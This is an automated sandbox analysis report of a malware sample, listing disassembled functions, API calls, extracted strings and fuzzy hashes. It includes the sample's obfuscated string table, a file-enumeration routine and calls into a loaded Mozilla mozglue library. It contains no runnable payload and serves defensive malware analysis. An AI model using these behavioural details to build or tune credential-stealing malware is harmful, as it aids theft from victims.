memset.VCRUNTIME140(?,00000000,00000110), ref: 6C8F73C2
VerSetConditionMask.NTDLL ref: 6C8F73F3
VerSetConditionMask.NTDLL ref: 6C8F73FF
VerSetConditionMask.NTDLL ref: 6C8F7406
VerSetConditionMask.NTDLL ref: 6C8F740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C8F741A
moz_xmalloc.MOZGLUE(?), ref: 6C8F755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C8F7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C8F7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C8F7598
free.MOZGLUE(00000000), ref: 6C8F75AC

Part of subcall function 6C91AB89: EnterCriticalSection.KERNEL32(6C96E370,?,?,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284), ref: 6C91AB94
Part of subcall function 6C91AB89: LeaveCriticalSection.KERNEL32(6C96E370,?,6C8E34DE,6C96F6CC,?,?,?,?,?,?,?,6C8E3284,?,?,6C9056F6), ref: 6C91ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C8F72C8
wintrust.dll, xrefs: 6C8F72CD
(, xrefs: 6C8F768A
SHA256, xrefs: 6C8F6EC0

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 5201c28afefc14f584e743708ad9999dea2be619c2a57c315dcae817f274ef69
Instruction ID: bc43a954183b94e1a0df90316ac920f53da06b1d5f4b47781c54019b3f48f871
Opcode Fuzzy Hash: 5201c28afefc14f584e743708ad9999dea2be619c2a57c315dcae817f274ef69
Instruction Fuzzy Hash: 6352F3B1A042189FFB21CF25CD84BAA77B8EF55348F2045D9E91997680DB70AF85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C920DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C920F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C920F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C920FB7
EnterCriticalSection.KERNEL32(?), ref: 6C920FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C921031
LeaveCriticalSection.KERNEL32(?), ref: 6C9210D0
EnterCriticalSection.KERNEL32(?), ref: 6C92117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C921C39
EnterCriticalSection.KERNEL32(6C96E744), ref: 6C923391
LeaveCriticalSection.KERNEL32(6C96E744), ref: 6C9233CD
LeaveCriticalSection.KERNEL32(?), ref: 6C923431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C923437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C923A02
Compile-time page size does not divide the runtime one., xrefs: 6C923946
MOZ_CRASH(), xrefs: 6C923950
MALLOC_OPTIONS, xrefs: 6C9235FE
<jemalloc>, xrefs: 6C923941, 6C9239F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9237A8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9237D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C923793
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C923559, 6C92382D, 6C923848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9237BD

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: b5b689ac5a4f03a051a61c36cf1777bf400ac7a17c823cfd2f01123e784e72bf
Instruction ID: e9cf299dafff9ef6c30226aff2004b4cb95c0587ac53226a62703eb7f43477d5
Opcode Fuzzy Hash: b5b689ac5a4f03a051a61c36cf1777bf400ac7a17c823cfd2f01123e784e72bf
Instruction Fuzzy Hash: AA53AF71A257018FD304CF29C540615FBE5FF86328F29C6ADE8A99B799D339E811CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C9434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C943EE2

Part of subcall function 6C946180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9461DD
Part of subcall function 6C946180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C94622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C944157

Part of subcall function 6C946180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C946250
Part of subcall function 6C946180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C946292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C94441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C944448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C94484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C944863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C944878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C944896
free.MOZGLUE ref: 6C94489F

Strings

, xrefs: 6C944CD2

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 6a0d2aad04a9dea5f0d38ed78449f014d7d03824018c5ea2f295fed086956a71
Instruction ID: 7e20d79777263f4db45e55827ade72bd4a8b8beab60acee6bae580839ae9bcc1
Opcode Fuzzy Hash: 6a0d2aad04a9dea5f0d38ed78449f014d7d03824018c5ea2f295fed086956a71
Instruction Fuzzy Hash: 14F24A74908B80CFC721CF28C08469AFBF1BF99348F618A5ED99997751DB31D896CB42

Uniqueness

Uniqueness Score: -1.00%

Function 00402130 Relevance: 60.3, Strings: 48, Instructions: 262COMMON

Download Yara Rule

Strings

@L<'<?, xrefs: 00402360
6HTRK5PU6VSG7, xrefs: 004023A6
CY1EDGK6A, xrefs: 004024A0
z>Q^-S, xrefs: 00402522
KPEE9MO, xrefs: 00402536
38SWGFCSPPPKI, xrefs: 004022AC
2PJRG, xrefs: 00402248
BU9WVU, xrefs: 00402504
$"9rdyT>%, xrefs: 004023F6
TXJMX7VCHWIDB, xrefs: 00402487
0Q90NB6, xrefs: 0040251D
DFZME8MED31XYYHN, xrefs: 004022F7
MH5T28GD8TIDT5ACBXXK, xrefs: 0040238D
Q3UMI8W1PVN, xrefs: 0040222F
K5V9B2M1, xrefs: 00402310
CFPAVW0RI, xrefs: 004023F1
M5GY0D0HW, xrefs: 004022DE
H87FIZXVE99, xrefs: 00402293
JOT79Z0CCI5, xrefs: 00402423
DSDWTIPL5, xrefs: 0040246E
0YDP5ADUBXMVC7NCG541, xrefs: 004024B9
HT38NG6H, xrefs: 004021E4
WVWO42P4CMU2, xrefs: 00402455
j8 fc^:cr;L, xrefs: 00402554
L38NKYQK, xrefs: 0040235B
VUX3628AXH8KQIFHV, xrefs: 00402342
83K64YLYDWN4VA, xrefs: 00402329
50LZBQ, xrefs: 004024D2
QDDV1WMMXX, xrefs: 004021FD
:;!\(d 4=, xrefs: 00402441
BONNZ5HW6DH8LEPXTI, xrefs: 0040227A
E4OQKFOEVR0GPTYCILEW, xrefs: 004023BF
GLZ2L5M0SY, xrefs: 0040240A
RW6IOPSQZ31J96, xrefs: 004021B2
MV2ISFQ8FDYB, xrefs: 004021CB
FC/;,7, xrefs: 004024D7
P5PFJB9T7UIH, xrefs: 004024EB
RALMZTA8AW0X, xrefs: 004022C5
TOE0DJDXQ, xrefs: 0040243C
PSCUCKM2JKB, xrefs: 00402374
$'GJ-&B, xrefs: 004021E9
OA7ZA3FC52NQ9T6, xrefs: 00402135
IK6XI2K7UMMS, xrefs: 00402216
a</77, xrefs: 0040224D
'F"K!B4p, xrefs: 00402315
AEFXNI6TVGNA, xrefs: 004023D8
OPUIF6OLWS9, xrefs: 0040254F
R63ELS5OETLBXPVU47WK, xrefs: 00402261

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: AllocLocalstrlen
String ID: @L<'<?$$"9rdyT>%$$'GJ-&B$'F"K!B4p$0Q90NB6$0YDP5ADUBXMVC7NCG541$2PJRG$38SWGFCSPPPKI$50LZBQ$6HTRK5PU6VSG7$83K64YLYDWN4VA$:;!\(d 4=$AEFXNI6TVGNA$BONNZ5HW6DH8LEPXTI$BU9WVU$CFPAVW0RI$CY1EDGK6A$DFZME8MED31XYYHN$DSDWTIPL5$E4OQKFOEVR0GPTYCILEW$FC/;,7$GLZ2L5M0SY$H87FIZXVE99$HT38NG6H$IK6XI2K7UMMS$JOT79Z0CCI5$K5V9B2M1$KPEE9MO$L38NKYQK$M5GY0D0HW$MH5T28GD8TIDT5ACBXXK$MV2ISFQ8FDYB$OA7ZA3FC52NQ9T6$OPUIF6OLWS9$P5PFJB9T7UIH$PSCUCKM2JKB$Q3UMI8W1PVN$QDDV1WMMXX$R63ELS5OETLBXPVU47WK$RALMZTA8AW0X$RW6IOPSQZ31J96$TOE0DJDXQ$TXJMX7VCHWIDB$VUX3628AXH8KQIFHV$WVWO42P4CMU2$a</77$j8 fc^:cr;L$z>Q^-S
API String ID: 3248042016-532185959
Opcode ID: d92779cfddd38e3020545e8507b60a9d030c31f3bc9e46f9d48ebe44a710958b
Instruction ID: 6d4fa1a7d89d077bb939d407d54dd1ca20c5100c7d3b0b7d42ca26d5c3e45de1
Opcode Fuzzy Hash: d92779cfddd38e3020545e8507b60a9d030c31f3bc9e46f9d48ebe44a710958b
Instruction Fuzzy Hash: 0F91FDBDFC07007AE2246B637C03FA576A19790B08F64243BFF04691D2FAF915954A9E

Uniqueness

Uniqueness Score: -1.00%

Function 6C8F64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C8F64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C8F64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C8F6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C8F6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C8F652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C8F671C
GetCurrentProcess.KERNEL32 ref: 6C8F6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C8F672F
GetCurrentProcess.KERNEL32 ref: 6C8F6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C8F6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C8F6A80
GetSystemInfo.KERNEL32(?), ref: 6C8F6ABE
__Init_thread_footer.LIBCMT ref: 6C8F6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8F6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C8F6AF7

Strings

user32.dll, xrefs: 6C8F6526
nvd3d9wrap.dll, xrefs: 6C8F6500
detoured.dll, xrefs: 6C8F64DA
_etoured.dll, xrefs: 6C8F64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C8F6798
nvdxgiwrap.dll, xrefs: 6C8F6513

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 68a7e83981a45d12ed2f1a9cfbe7d32b19b1f48e5ee8fa7cd14ef2ee966cfad8
Instruction ID: 4defbd73c6bfe9fba0e88b35e451e67c74d87f78821dd10364ae87b5e2ab8158
Opcode Fuzzy Hash: 68a7e83981a45d12ed2f1a9cfbe7d32b19b1f48e5ee8fa7cd14ef2ee966cfad8
Instruction Fuzzy Hash: 30F1F670A052199FDB30CF25CE487AAB7B4EF45358F1446D9E829E3681E731AE85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C94C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C94C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C94C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C94C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C94CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C94DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C94DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C94DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C94E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C94E472

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 51f42bc270be47f3edb8fd442fdc4ebb0ebaea39083242099c3d6ab656f96318
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8333AC76E0021ACFCB14CFA8C8806ADBBF2FF49314F288269D955AB755D731E945CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6C8FFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C96E7B8), ref: 6C8FFF81
LeaveCriticalSection.KERNEL32(6C96E7B8), ref: 6C90022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C900240
EnterCriticalSection.KERNEL32(6C96E768), ref: 6C90025B
LeaveCriticalSection.KERNEL32(6C96E768), ref: 6C90027B

Strings

<jemalloc>, xrefs: 6C900D62, 6C900D76, 6C900DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C8FFE99, 6C8FFEB7, 6C8FFED3, 6C900DB8, 6C900DD3, 6C9019B4
: (malloc) Error in VirtualFree(), xrefs: 6C900D67, 6C900D7B, 6C900DAC

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: b05402a5d45d35b99fcd66596ea18b1415b18dfb7a7c1368028f7d44dcc1cf91
Instruction ID: 6a22459d0e252f405956d0f217e47b4709fb18764a05de88b2236948ce43275b
Opcode Fuzzy Hash: b05402a5d45d35b99fcd66596ea18b1415b18dfb7a7c1368028f7d44dcc1cf91
Instruction Fuzzy Hash: 77C2BD71B057418FD714CF29C980716BBE1BF86728F28C66DE8A98BB95D731E841CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C94E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C94E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C94EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C94F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C94F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C950E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C950E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C950EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C950ED4

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: bbedabe9a78aa64a2077cb943a78f90d8f4451b8a52cfe3654dc667e73e02480
Instruction ID: ab7569b08d1e1b9548736bd9bbc1b54710c1e5bc4a370bae2986aff06a87409b
Opcode Fuzzy Hash: bbedabe9a78aa64a2077cb943a78f90d8f4451b8a52cfe3654dc667e73e02480
Instruction Fuzzy Hash: 93638F71E0025ACFCB04CFA8C8905EDFBB2FF89314F698269D855AB755D730A946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004121F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00412200
HeapAlloc.KERNEL32(00000000), ref: 00412207
wsprintfA.USER32 ref: 00412223
FindFirstFileA.KERNEL32(?,?), ref: 0041223A
StrCmpCA.SHLWAPI(?,0041D84C), ref: 00412268
StrCmpCA.SHLWAPI(?,0041D850), ref: 0041227E
FindNextFileA.KERNEL32(000000FF,?), ref: 004122FF
FindClose.KERNEL32(000000FF), ref: 00412314
lstrcat.KERNEL32(?,04201040), ref: 00412339
lstrcat.KERNEL32(?,042086E0), ref: 0041234C
lstrlen.KERNEL32(?), ref: 00412359
lstrlen.KERNEL32(?), ref: 0041236A

Strings

%s\%s, xrefs: 00412295
%s\*, xrefs: 00412217

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 13328894-2848263008
Opcode ID: 0a12d10b0853cdca75f850272d177170673b34ecfbac75b41269a42e2db7d2f4
Instruction ID: 68eafe57ffc654504e5fb8166b756e3a47007b1446461b295be9b39175aa6662
Opcode Fuzzy Hash: 0a12d10b0853cdca75f850272d177170673b34ecfbac75b41269a42e2db7d2f4
Instruction Fuzzy Hash: 5551A6B5940618ABCB20EBB0DC89FEE737DAB98300F404689F61A96150DF749BC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6C90ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C90EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C90EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C911695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C911770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C911A3E

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: adb4a8d55eb1884d64e563ad4e7efda5a8f0d309e354c80bb3cea394ed768929
Instruction ID: 2aab12e8c63847bd5f2997b4dc9a85f7d6901b9a294917f3c9522180518124f6
Opcode Fuzzy Hash: adb4a8d55eb1884d64e563ad4e7efda5a8f0d309e354c80bb3cea394ed768929
Instruction Fuzzy Hash: 6FB32971E0421ACFCB14CFA8C891AADB7B2FF49304F1581A9D459ABB45D731AD86CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6C8FFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C96E7B8), ref: 6C8FFF81
LeaveCriticalSection.KERNEL32(6C96E7B8), ref: 6C90022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C900240
EnterCriticalSection.KERNEL32(6C96E768), ref: 6C90025B
LeaveCriticalSection.KERNEL32(6C96E768), ref: 6C90027B

Strings

MOZ_CRASH(), xrefs: 6C900CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C8FFE99, 6C8FFEB7, 6C8FFED3, 6C900DB8, 6C900DD3, 6C9019B4, 6C901A10

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

